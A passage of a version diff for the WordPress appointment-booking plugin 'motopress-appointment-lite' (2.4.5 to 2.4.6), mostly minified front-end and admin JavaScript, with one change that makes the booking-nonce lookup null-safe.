e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ne(re(e,Object.keys(t)))}else i=null;const a=oe(e,t,i),r=this.category||"";Ce(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?"":String(this.serviceId);Ce(this.$servicesSelect,{"":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?"0":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?"0":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new Ge(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new ze(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new je(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}!function(e){function t(t,i){var s=e("#"+t);s.length?s.replaceWith(i):e("head").append(i)}wp.customize("et_divi[all_buttons_font_size]",(function(e){e.bind((function(e){t("mpa-divi-button-font-size",'<style id="mpa-divi-button-font-size">.mpa-shortcode .button{font-size:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_text_color]",(function(e){e.bind((function(e){t("mpa-divi-button-text-color",'<style id="mpa-divi-button-text-color">.mpa-shortcode .button{color:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_bg_color]",(function(e){e.bind((function(e){t("mpa-divi-button-bg-color",'<style id="mpa-divi-button-bg-color">.mpa-shortcode .button{background:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_width]",(function(e){e.bind((function(e){t("mpa-divi-button-border-width",'<style id="mpa-divi-button-border-width">.mpa-shortcode .button{border-width:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_color]",(function(e){e.bind((function(e){t("mpa-divi-button-border-color",'<style id="mpa-divi-button-border-color">.mpa-shortcode .button{border-color:'+e+" !important;}</style>")}))})),wp.customize("et_divi[all_buttons_border_radius]",(function(e){e.bind((function(e){t("mpa-divi-button-border-radius",'<style id="mpa-divi-button-border-radius">.mpa-shortcode .button{border-radius:'+e+"px !important;}</style>")}))})),wp.customize("et_divi[all_buttons_font_style]",(function(i){i.bind((function(i){var s=function(t,i){var s=t.split("|"),a="";return e.inArray("bold",s)>=0?a+="font-weight: bold "+i+";":a+="font-weight: inherit "+i+";",e.inArray("italic",s)>=0?a+="font-style: italic "+i+";":a+="font-style: inherit "+i+";",e.inArray("underline",s)>=0?a+="text-decoration: underline "+i+";":a+="text-decoration: inherit "+i+";",e.inArray("uppercase",s)>=0?a+="text-transform: uppercase "+i+";":a+="text-transform: inherit "+i+";",a}(i,"");t("mpa-divi-button-font-style",'<style id="mpa-divi-button-font-style">.mpa-shortcode .button{'+s+"}</style>")}))})),wp.customize("et_divi[all_buttons_spacing]",(function(e){e.bind((function(e){t("mpa-divi-button-spacing",'<style id="mpa-divi-button-spacing">.mpa-shortcode .button{letter-spacing:'+e+"px;  !important}</style>")}))})),wp.customize("et_divi[all_buttons_font]",(function(e){e.bind((function(e){t("mpa-divi-button-font",'<style id="mpa-divi-button-font">.mpa-shortcode .button{font-family:'+e+", sans-serif  !important; }</style>")}))})),wp.customize("et_divi[all_buttons_text_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-text-color-hover",'<style id="mpa-divi-button-text-color-hover">.mpa-shortcode .button:hover{color:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_bg_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-bg-color-hover",'<style id="mpa-divi-button-bg-color-hover">.mpa-shortcode .button:hover,background:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_border_color_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-border-color-hover",'<style id="mpa-divi-button-border-color-hover">.mpa-shortcode .button:hover{border-color:'+e+" !important; }</style>")}))})),wp.customize("et_divi[all_buttons_border_radius_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-border-radius-hover",'<style id="mpa-divi-button-border-radius-hover">.mpa-shortcode .button:hover{border-radius:'+e+"px !important; }</style>")}))})),wp.customize("et_divi[all_buttons_spacing_hover]",(function(e){e.bind((function(e){t("mpa-divi-button-spacing-hover",'<style id="mpa-divi-button-spacing-hover">.mpa-shortcode .button:hover{letter-spacing: '+e+"px !important; }</style>")}))})),e(window).on("et_fb_root_did_mount et_fb_section_content_change",(()=>{setTimeout((()=>{e(".appointment-form-shortcode").each(((t,i)=>{new Qe(e(i))}))}),200)}))}(jQuery)}(wp.date,mpaData,intlTelInput)}();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/edit-post.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/edit-post.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/edit-post.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/edit-post.js	2026-06-30 15:16:08.000000000 +0000
@@ -3617,6 +3617,7 @@
 	   * @access protected

 	   */
 	  setupProperties() {
+	    var _mpaData$nonces$mpa_c;
 	    /**

 	     * @since 1.0

 	     * @var {Map}

@@ -3656,7 +3657,7 @@
 
 	    // Later, StepPayment will replace the nonce with
 	    // "mpa_create_booking_{$bookingId}"
-	    this.bookingNonce = mpaData.nonces.mpa_create_booking;
+	    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; // Missing for blocks
 	  }
 
 	  /**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/edit-post.min.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/edit-post.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/edit-post.min.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/edit-post.min.js	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-!function(){"use strict";!function(e,t,i){class s{constructor(e){this.$element=e,this.type=e.data("type"),this.$element.attr("data-inited","true")}}class a extends s{constructor(e){super(e),this.$input=e.find("input").first(),this.$input.spectrum()}}let r="/motopress/appointment/v1";function n(e,t={}){return function(e,t={},i="GET"){return new Promise(((s,a)=>{wp.apiRequest({path:r+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i="parsererror";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==i&&(i="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(i))}))}))}(e,t,"GET")}class o{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{n("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class l{constructor(){this.settingsCtrl=new o,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==l.instance&&(l.instance=new l),l.instance}}function h(){return l.getInstance()}const c="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,d="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i="")=>e,p="undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf?wp.i18n.sprintf:(e,...t)=>{let i=0;return e.replace(/%([sdf])/g,((e,s)=>{if(i>=t.length)return e;let a=t[i++];switch(s){case"s":return String(a);case"d":return parseInt(a,10);case"f":return parseFloat(a);default:return e}}))},u={weekdays:{shorthand:[c("Sun","motopress-appointment"),c("Mon","motopress-appointment"),c("Tue","motopress-appointment"),c("Wed","motopress-appointment"),c("Thu","motopress-appointment"),c("Fri","motopress-appointment"),c("Sat","motopress-appointment")],longhand:[c("Sunday","motopress-appointment"),c("Monday","motopress-appointment"),c("Tuesday","motopress-appointment"),c("Wednesday","motopress-appointment"),c("Thursday","motopress-appointment"),c("Friday","motopress-appointment"),c("Saturday","motopress-appointment")]},months:{shorthand:[c("Jan","motopress-appointment"),c("Feb","motopress-appointment"),c("Mar","motopress-appointment"),c("Apr","motopress-appointment"),d("May","Month (short)","motopress-appointment"),c("Jun","motopress-appointment"),c("Jul","motopress-appointment"),c("Aug","motopress-appointment"),c("Sep","motopress-appointment"),c("Oct","motopress-appointment"),c("Nov","motopress-appointment"),c("Dec","motopress-appointment")],longhand:[c("January","motopress-appointment"),c("February","motopress-appointment"),c("March","motopress-appointment"),c("April","motopress-appointment"),d("May","Month","motopress-appointment"),c("June","motopress-appointment"),c("July","motopress-appointment"),c("August","motopress-appointment"),c("September","motopress-appointment"),c("October","motopress-appointment"),c("November","motopress-appointment"),c("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:h().settings().getFirstDayOfWeek()};function m(t,i="public"){if("string"==typeof t)return t;if("internal"==i)return m(t,"Y-m-d");if("public"==i)return e.format(h().settings().getDateFormat(),t);let s=(e,t=2)=>("00"+e).slice(-t),a=!1;return i.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return s(t.getDate());case"D":return u.weekdays.shorthand[t.getDay()];case"l":return u.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),d=864e5;return Math.ceil(((l-c)/d+1)/7);case"F":return u.months.longhand[t.getMonth()];case"M":return u.months.shorthand[t.getMonth()];case"m":return s(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return u.amPM[t.getHours()>11?1:0];case"a":return u.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return s(t.getHours());case"h":return s(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return s(t.getMinutes());case"s":return s(t.getSeconds());case"v":return s(t.getMilliseconds(),3);case"u":return s(t.getMilliseconds(),3)+"000";case"O":case"P":let p=-t.getTimezoneOffset(),g=p>=0?"+":"-",y=Math.floor(Math.abs(p)/60),v=Math.abs(p)%60,f="O"==e?"":":";return g+s(y)+f+s(v);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return m(t,"Y-m-d\\TH:i:sP");case"r":return m(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function g(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function y(){let e=new Date;return e.setHours(0,0,0,0),e}function v(e,t){let i=t.locale||h().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;"object"==typeof s&&(s.firstDayOfWeek=h().settings().getFirstDayOfWeek());let a={formatDate:m,inline:!0,locale:s,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}class f extends s{constructor(e){super(e),this.$dateInput=this.$element.find(".mpa-date-input").first(),this.datepicker=null,this.displayFormat=this.$element.data("display-format"),this.sizeClass=this.$element.data("size"),this.initDatepicker(),this.removePreloader()}initDatepicker(){this.datepicker=v(this.$dateInput,{altFormat:this.displayFormat,altInput:!0,altInputClass:"mpa-alt-date-input "+this.sizeClass,inline:!1,showMonths:2}),this.$dateInput.prop("disabled")&&this.$element.find(".mpa-alt-date-input").prop("disabled",!0)}removePreloader(){this.$element.find(".mpa-preloader").remove()}}function b(e){return!!e}function S(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class $ extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$input=this.$element.find('input[type="hidden"]'),this.$preview=this.$element.find(".mpa-preview-wrapper > img"),this.$addButton=this.$element.find(".mpa-add-media"),this.$removeButton=this.$element.find(".mpa-remove-media"),this.thumbnailSize=this.$input.attr("thumbnail-size")}addListeners(){this.$preview.on("click",this.selectMedia.bind(this)),this.$addButton.on("click",this.selectMedia.bind(this)),this.$removeButton.on("click",this.removeMedia.bind(this))}getRawValue(){return this.$input.val()}getValue(){return S(this.getRawValue())}setValue(e){this.updateValue(e),this.react()}updateValue(e){this.$input.val(e)}react(){let e=b(this.getValue());this.$addButton.toggleClass("mpa-hide",e),this.$removeButton.toggleClass("mpa-hide",!e),e?this.updatePreview():this.resetPreview()}updatePreview(){let e=wp.media.attachment(this.getValue()).attributes.sizes[this.thumbnailSize].url;this.$preview.removeClass("mpa-hide").attr("src",e)}resetPreview(){this.$preview.addClass("mpa-hide").attr("src","")}selectMedia(e){e.preventDefault();let t=wp.media({multiple:!1});t.open().on("select",(e=>{let i=t.state().get("selection").first().toJSON().id;this.setValue(i)}))}removeMedia(e){e.preventDefault(),this.setValue("")}}function I(e){const s=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:c("Phone number is invalid.","motopress-appointment")});e.after("<br>",s);const a=t(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr("name"),utilsScript:i.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),s.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),s.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=I;class w extends s{constructor(e){super(e),this.$input=e.find("input").first(),I(this.$input)}}let T={};function _(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function C(e="",t=!1){let i=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};T.uniqid_seed||(T.uniqid_seed=Math.floor(123456789*Math.random())),T.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()/1e3,10),8),s+=i(T.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}function k(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function P(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function D(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a<i;a++)s[e[a]]=t[a];return s}function E(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)/s))+1;return[...Array(a).keys()].map((t=>t*i+e))}function x(e,t="public"){e%=1440;let i=parseInt(e/60);e%=60;let s=y();return s.setHours(i,e),A(s,t)}function A(e,t="public"){return m(e,"internal"==t?"H:i":"public"==t?h().settings().getTimeFormat():t)}function M(e){let t=e.split(":"),i=parseInt(t[0]),s=parseInt(t[1]),a=y();return a.setHours(i,s),a}function L(e){let t="";for(let i in e)t+=" "+i+'="'+e[i]+'"';return t}function B(e,t={}){return"<button"+L(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function O(e,t=""){return'<span class="'+`dashicons dashicons-${e} ${t}`.trimRight()+'"></span>'}function V(e,t){let i={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},s=t.clone();s.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let r=i[t],n=s.find(r).first(),o="{"+t+"}";if(!(n.length>0?n.html():"").includes(o))continue;let l="";switch(t){case"service_id":l=e.service.id;break;case"service_name":l=e.service.name;break;case"service_thumbnail":l=U(e.service.thumbnail);break;case"employee_id":l=e.employee.id;break;case"employee_name":l=e.employee.name;break;case"location_id":l=e.location.id;break;case"location_name":l=e.location.name;break;case"reservation_date":l=m(e.date);break;case"reservation_save_date":l=m(e.date,"internal");break;case"reservation_time":l=e.time.toString("short");break;case"reservation_period":l=e.time.toString();break;case"reservation_save_period":l=e.time.toString("internal");break;case"reservation_capacity":l=j(D(a,a),e.capacity);break;case"reservation_clients":l=H(D(a,a),e.capacity);break;case"reservation_clients_count":l=e.capacity;break;case"reservation_price":let t=e.employee.id;l=R(e.service.getPrice(t,e.capacity))}n.html(n.html().replace(o,l))}return s.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),s.find('[name*="{item_id}"]').each(((t,i)=>{i.name=i.name.replace("{item_id}",e.getItemId())})),1===a.length&&s.find(".cell-people").addClass("mpa-hide"),s}function F(e,t,i="public"){let s="short"==i?"public":i,a=m(e,s),r=m(t,s);return"short"==i&&a==r?a:a+" - "+r}function R(e,t={}){let i=h().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=".",s=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",s=d("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=h().settings().getDecimalSeparator());let i=new RegExp("\\"+t+"0+$");return e.replace(i,"")}(s));let i='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":s=i+s;break;case"after":s+=i;break;case"before_with_space":s=i+"&nbsp;"+s;break;case"after_with_space":s=s+"&nbsp;"+i}e<0&&(s="-"+s)}return'<span class="'+a+'">'+s+"</span>"}function j(e,t,i={}){let s="<select"+L(i)+">";return s+=H(e,t),s+="</select>",s}function N(e,t,i=!1){let s="";return s='<option value="'+e+'"'+(i?' selected="selected"':"")+">",s+=t,s+="</option>",s}function H(e,t){let i="";for(let s in e)i+=N(s,e[s],s==t);return i}function Q(e,t,i,s){let a="";const r=String(s);for(const[e,i]of Object.entries(t))a+=N(e,i,e===r);for(let e of i)a+=N(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function U(e){let{width:t,height:i}=h().settings().getThumbnailSize();return"<img"+L({width:t,height:i,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class W extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$table=this.$element.find("table"),this.$rows=this.$table.children("tbody"),this.$addButton=this.$element.find(".mpa-add-button"),this.baseName=this.$element.attr("data-base-name"),this.rows={},this.rowsCount=0,this.$element.find(".mpa-attribute").each(((e,t)=>{let i=jQuery(t),s=i.attr("data-id");this.rows[s]=i,this.rowsCount++}))}addListeners(){let e=this;this.$addButton.on("click",(()=>{this.addRow()})),this.$element.find(".mpa-remove-button").on("click",(function(){e.removeRowByElement(this)}))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id="'+e+'"]');this.rows[e]=i,this.rowsCount++,this.$table.removeClass("mpa-hide");let s=this;i.find(".mpa-remove-button").on("click",(function(){s.removeRowByElement(this)}))}renderRow(e){let t=this.baseName+"["+e+"]",i="";return i+='<tr class="mpa-attribute" data-id="'+e+'">',i+='<td class="column-label">',i+='<input type="text" name="'+t+'[label]" value="" class="large-text">',i+="</td>",i+='<td class="column-content">',i+='<input type="text" name="'+t+'[content]" value="" class="large-text">',i+="</td>",i+='<td class="column-link">',i+='<input type="text" name="'+t+'[link]" value="" class="large-text">',i+="</td>",i+='<td class="column-class">',i+='<input type="text" name="'+t+'[class]" value="" class="large-text">',i+="</td>",i+='<td class="column-actions">'+O("trash","mpa-remove-button")+"</td>",i+="</tr>",i}removeRowByElement(e){let t=jQuery(e).parents(".mpa-attribute").attr("data-id");t&&this.removeRow(t)}removeRow(e){this.rows.hasOwnProperty(e)&&(this.rows[e].remove(),this.rowsCount--,delete this.rows[e],0==this.rowsCount&&this.$table.addClass("mpa-hide"))}}class z extends s{constructor(e){super(e),this.$table=this.$element.children("table"),this.$tableBody=this.$table.children("tbody"),this.$noItemsRow=this.$tableBody.children(".no-items"),this.$newPeriodRow=this.$tableBody.children(".mpa-new-period"),this.timeSelects=this.$newPeriodRow.find(".mpa-period"),this.$startTimeHoursInput=this.$newPeriodRow.find(".mpa-period__start-hours"),this.$startTimeMinutesInput=this.$newPeriodRow.find(".mpa-period__start-minutes"),this.$endTimeHoursInput=this.$newPeriodRow.find(".mpa-period__end-hours"),this.$endTimeMinutesInput=this.$newPeriodRow.find(".mpa-period__end-minutes"),this.$timeAllDayInput=this.$newPeriodRow.find(".mpa-period__all-day"),this.baseName=this.$element.attr("data-base-name"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(":not(.no-items, .mpa-new-period)").each(((e,t)=>{let i=t.getAttribute("data-id"),s=jQuery(t).find(".column-actions > input").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(".mpa-new-period > .column-dates > input"),{mode:"range"})}addListeners(){this.$timeAllDayInput.on("change",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$table.find("thead .mpa-add-button").on("click",(()=>{this.toggleEdit()})),this.$tableBody.find(".mpa-add-button").on("click",(()=>{this.onAdd()}));let e=this;this.$tableBody.find(".mpa-remove-button").on("click",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass("mpa-hide")?(this.$newPeriodRow.removeClass("mpa-hide"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass("mpa-hide")}addPeriod(e,t,i,s){let a=e+", "+t,r=C(),n=this.renderPeriod(r,e,t,i,s);jQuery(n).insertAfter(this.$newPeriodRow),this.periods.add(r,a);let o=this.$tableBody.find('[data-id="'+r+'"] .mpa-remove-button'),l=this;o.on("click",(function(){l.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass("mpa-hide")}renderPeriod(e,t,i,s,a){let r=t+", "+i,n="";return n+='<tr class="mpa-period" data-id="'+e+'">',n+='<td class="column-dates mpa-badge-new">',n+=s,n+="</td>",n+='<td class="column-time mpa-badge-new">',n+=a,n+="</td>",n+='<td class="column-actions">',n+='<input type="hidden" name="'+this.baseName+'[]" value="'+r+'">',n+=B(c("Remove","motopress-appointment"),{class:"button button-secondary mpa-remove-button"}),n+="</td>",n+="</tr>",n}getStartTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return 